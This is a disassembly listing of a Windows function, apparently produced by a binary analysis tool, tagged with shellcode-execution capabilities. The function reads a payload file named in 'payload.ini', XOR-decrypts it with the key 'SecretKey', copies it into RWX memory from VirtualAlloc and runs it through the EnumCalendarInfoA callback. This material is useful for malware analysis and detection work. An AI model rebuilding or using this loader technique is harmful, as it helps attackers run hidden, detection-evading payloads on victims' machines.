Function at 0x4015c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x490
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x430], ecx
mov qword [rbp + 0x438], rdx
call sym.__main
lea rax, [rbp + 0x3ef]
mov rcx, rax
call fcn.0045d970
lea rdx, [rbp + 0x3ef]
lea rax, [rbp + 0x3c0]
mov r8, rdx
lea rdx, str.payload.ini
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x3ef]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rdx, [rbp + 0x3c0]
lea rax, [rbp + 0x1e0]
mov r8d, 8
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.basic_ifstream_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rax, [rbp + 0x1c0]
mov rcx, rax
call fcn.0048de20
lea rdx, [rbp + 0x1c0]
lea rax, [rbp + 0x1e0]
mov rcx, rax
call sym.std::basic_istream_char__std::char_traits_char____std::getline_char__std::char_traits_char___std::allocator_char____std::basic_istream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x1e0]
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.close__
lea rdx, [rbp + 0x1c0]
lea rax, [rbp - 0x20]
mov r8d, 4
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.basic_ifstream_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rax, [rbp - 0x20]
mov r8d, 2
mov edx, 0
mov rcx, rax
call method.std::istream.seekg_long_long__std::_Ios_Seekdir_
lea rax, [rbp + 0x3f0]
lea rdx, [rbp - 0x20]
mov rcx, rax
call method.std::istream.tellg__
lea rax, [rbp + 0x3f0]
mov rcx, rax
call method.std::fpos_int_.operator_long_long___const
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x20]
mov r8d, 0
mov edx, 0
mov rcx, rax
call method.std::istream.seekg_long_long__std::_Ios_Seekdir_
lea rax, [rbp + 0x407]
mov rcx, rax
call fcn.0045d9c0
mov rdx, qword [rbp - 0x28]
lea rcx, [rbp + 0x407]
lea rax, [rbp - 0x40]
mov r8, rcx
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector_unsigned_long_long__std::allocator_unsigned_char__const_
lea rax, [rbp + 0x407]
mov rcx, rax
call sym.std::allocator_unsigned_char_::allocator__
mov rax, qword [rbp - 0x28]
mov rbx, rax
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.data__
mov rdx, rax
lea rax, [rbp - 0x20]
mov r8, rbx
mov rcx, rax
call method.std::istream.read_char__long_long_
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.close__
movabs rax, 0x654b746572636553
mov qword [rbp - 0x4a], rax
mov word [rbp - 0x42], 0x79
mov qword [rbp + 0x408], 9
mov rbx, qword [rbp - 0x28]
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.data__
mov rcx, rax
mov rdx, qword [rbp + 0x408]
lea rax, [rbp - 0x4a]
mov r9, rdx
mov r8, rax
mov rdx, rbx
call sym.xor_decrypt_unsigned_char__unsigned_long_long__unsigned_char_const__unsigned_long_long_
mov rax, qword [rbp - 0x28]
mov rcx, rax
call sym.operator_new___unsigned_long_long_
mov qword [rbp - 0x58], rax
mov rbx, qword [rbp - 0x58]
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.end__
mov rsi, rax
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.begin__
mov r8, rbx
mov rdx, rsi
mov rcx, rax
call method.unsigned_char_std::copy___gnu_cxx::__normal_iterator_unsigned_char__std::vector_unsigned_char__std.allocator_unsigned_char_______unsigned_char____gnu_cxx::__normal_iterator_unsigned_char__std::vector_unsigned_char__std::allocator_unsigned_char_
mov rax, qword [rbp - 0x28]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x60], rax
mov rcx, qword [rbp - 0x28]
mov rdx, qword [rbp - 0x58]
mov rax, qword [rbp - 0x60]
mov r8, rcx
mov rcx, rax
call sym.memmove
mov rax, qword [rbp - 0x60]
mov r9d, 0x15
mov r8d, 0xffffffff
mov edx, 0x400
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
call rax
mov rax, qword [rbp - 0x58]
test rax, rax
je 0x401842
mov rax, qword [rbp - 0x58]
mov rcx, rax
call sym.operator_delete___void_
mov ebx, 0
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.0047d340
lea rax, [rbp + 0x1c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1e0]
mov rcx, rax
call fcn.0047d340
lea rax, [rbp + 0x3c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x401926
add rsp, 0x490
pop rbx
pop rsi
pop rbp
ret